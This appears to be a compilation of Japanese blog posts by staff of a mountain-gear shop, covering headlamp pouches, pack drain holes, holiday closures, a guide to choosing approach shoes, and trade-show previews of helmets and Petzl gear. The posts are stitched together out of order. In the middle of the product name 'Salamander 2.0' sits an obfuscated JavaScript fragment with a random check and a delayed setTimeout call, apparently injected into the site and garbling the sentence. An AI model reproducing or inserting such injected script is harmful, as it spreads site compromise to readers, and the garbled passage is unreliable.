保護を高め、誤作動をより減らす!!
ペツル「ティかポーチ 2」 税込2,160円
リサイズにより、
TIKKA RXPが入ります!!
TIKKA RXPはロックアウト機能は付いていますが、
スイッチが押しやすいように突起形状をしているので、ザック内で圧迫されると点灯してうことがあります。
そんなお困り方にはもってこいです!!
他メーカーのヘッデンも物によっては入りそうです。
もちろん、ヘッデン以外の小物なんかも入れてOKですよ!!
ひとつ欲しいな。
山の店デナリのスタッフが綴るブログです
やっとパーツが入手出来たので、本日はコチラに排水穴の設置です。
先ずは、良さげな位置に穴2つ。
ハトメを挟んで打ち込み。
超アナログ作業ですが、打ち手・押さえ手、2人工作業です。
水抜け悪いザックならこの手のカスタムが1番です。
トッレキングポールの料理から早〇年。
最新の材料は先端チェンジはもちろんですが色が変わってきました。
お待たせ致しました!!
料理に自信が無い方は、当店で材料を買って下さい。
料理します。
お料理出来る方はこちらからポチっとしてくだい。
暑い日がつづきます。
で、明日8/13(土)から8/16(火)まで、デナリさんお休みでございます。実店舗・ネットショップともに、8/17(水)から通常営業です。
皆様も楽しいお休みをお過ごし下さいませ。「安全第一」で!!。
ちなみに、本日8/12(金)は営業中!。ご用の方、お待ちしております。
その3,:レースの量。
これもまた「クライミング向けアプローチシューズ」と「アルパインランニング用のシューズ」で大きく違うところです。
地面にべた足で置く靴は、別につま先に紐が無くても力が逃げることがないのでしょうが、先端ばかり使い「インエッジで乗り込む」なんて動作では、靴の中で足が確実に外側に逃げます。
「足、重要!」なことを知ってる皆さんなら、どーします?。「俺、スリッパ派です!」なんて言えるほど、アプローチシューズはキンキンサイズは履きません。紐で締めるしかないのです・・・。
ちなみに、みんな大好きCRUZER(クルーザー)とIGUANA(イグアナ)を比べるとこんな感じ。もう、結ぶのが面倒になるとココまで自堕落になりますが・・・(笑)。
その4,:木型。
そもそも、靴選びなんてコレに尽きるのかも知れませんが、アプローチスーズにおいてはソールのフリクションなどスペック重視なので、敢えて最後に回します。どーせ、履いてる時間短いし。
画像左、SCARPA IGUANA(イグアナ)。画像右、LA SPORTIVA TX-4。
ロープ出すか、出さないか、「ハイグレードハイキング」的なアプローチは、もう、簡単なクライミングです(笑)。
勿論、べた足で地面を歩いている時はワイドラストでもOK。ただ、ブカブカ、ガバガバな足先で岩場のスタンスを拾うとワングレード変わる勢いです!!。
結果、テクニカルアプローチシューズは限られてきます。
1,「インエッジ&アウトエッジなクライミングゾーン」、2,「マルチユースなブロックパターン」、3,「つま先まで配置しているレース」、4,「細型ラスト採用ながらシームレスニットによる快適な履き心地」、更には、5,「お手軽な本体重量と価格!!!」。
わたしが語るとインチキ臭いかもしれませんが、PEAKS 4月号ではHDの土屋大先生のお墨付きを頂いております!!、間違えございません!、多分・・・(笑)。
それでも納得いかない人は自分で確かめろ!、スペック詳細はコチラから。
今や業界的には、「滑らない」のが当然のアプローチシューズ。ただ、これだけ一杯あると売場やユーザー的には「滑る」可能性大(笑)。
で、選び方のポイント。
その1,:クライミングゾーン必至。
最近はアルパインランニング用のシューズも数多く出ていいます。「それっぽい」ので凄く惹かれますが、実際のところ、「似て非なる物」です。裏返してみてみましょう。
簡単な岩を登るにせよ、十分なフリクションが得られるよう、クライミングゾーンのフラット部分は存在します。一方、地面を蹴って走るのにつま先をこんなフラットにされては、ランの人達は走りにくくて仕方ない。
今までのクライミングゾーンはインエッジの物ばかりでしたが、今シーズンのそれ系はついにアウトエッジまで(笑)。
画像左、MONTURA Yaru Light(ヤル ライト)。画像右、SCARPA IGUANA(イグアナ)。
その2,:ソールパターンの違い(コイン or ブロック)。
僕らは、ソールパターンを「コイン」とか「ブロック」で呼び分けています。花崗岩の上を歩くなら、浅いコインは最高ですが、土や泥っぽいところでは、パターンが深いブロックの方が足が残ります。
ちなみに、苔のうえ、濡れた熊笹なんかは、何履いても滑ります。「ハイフリクション!」なんて嘘です(笑)。
この春にリリースされたSCARPA社 IGUANA(イグアナ)ですが、フィールドテストと人体実験は十分、デナリさんでも店頭在庫に格上げします!。
今やアプローチシューズは群雄割拠時代到来。製品的には「滑らない」のが当然なので、これだけ一杯色んな物があるとどれを選んでイイのやら?・・・。
値段ですか?、重さですか?、スタイルですか?。
そんな訳で、明日は迷えるマニアに「道具屋さん的選び方のポイント」とご紹介します!。本日は検体となったKくんの足ショットで終わり。
おはようございます。移転してから早8ヶ月。大分落ち着いてまいりましたが、今シーズンはかなり消耗したので、今年は世間様並に「お盆休み!」なんてものを・・・。
実店舗・ネットショップは、上記日程にてお休みとなります。ご用命は営業日にてお願い致します。
タチの悪いゲリラが頻発する今日この頃、お休みする以上は、ガッチリ高気圧に覆われた安定した天気を激しく望むなり!!。
ここ最近、ギア系メーカーさんの展示会場が集約されたのはイイが、1日の労働時間が増えて困る。マジックマウンテンさんに移動。
先ずはコレ。新製品のStealth(ステルス)。カタログスペック驚異の200g切りの194g、首振っても全然気にならない重さ。
そんでもって、コチラ改良品のSalamandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander 2.0(サラマンダー 2.0)。
今までのGRIVELヘルメットと言えば、「とにかくデカい頭でもOK」的な印象でしたが、今回は一変します。普通のサイズ感です。わたくしの鉢周りでは「ニットキャップ着用不可」ってサイズ感です(笑)。
最後の入荷から1年過ぎますが、バックオーダーは入れているものの、入荷予定などありません!。で、気が付けばモデルチェンジ!?。頭がでかい人にとって、こーゆーのは「改良」ではなく「改悪」です!!。
あと、ぐるぐるダイヤルシステムのアジャスターは紐に変更ですが、ダブルスライダーとは違い、片引き調整なので思いの外使いやすいっス。
で、こんなのもリニュアル。
画面左REACTIK(リアクティック)、画面右REACTIK+(リアクティック プラス)。
それぞれTIKKA R+(ティカアールプラス)・TIKKA RXP(ティカ アールエックスピー)の後継機種。
値段も安くなるので、お薦めとしては3目でOS by Petzlアプリも使えるREACTIK+(リアクティック プラス)ですかね。発売はこの秋ともう直ぐ。
雪稜歩き向きなハーネスも出ます。オレンジ色のALTITUDE(アルティチュード)と地味目なTOUR(ツアー)。アルティチュードはSITTA(シッタ)さん同様、「ワイヤーフレームテクノロジー」構造の超軽量ハーネス。
ただ、150gではもう、驚けません・・・。
「サブピッケル」として活躍しそーなのRIDE(ライド)は、スチール製ヘッド(シャベル~トンカチ)採用の45cm/240g。これもこの秋冬には来ます。
あと、ペアで360g(アンチスノー別)なLEOPARD FL(レオパード FL)なんかも気になるアイテムです。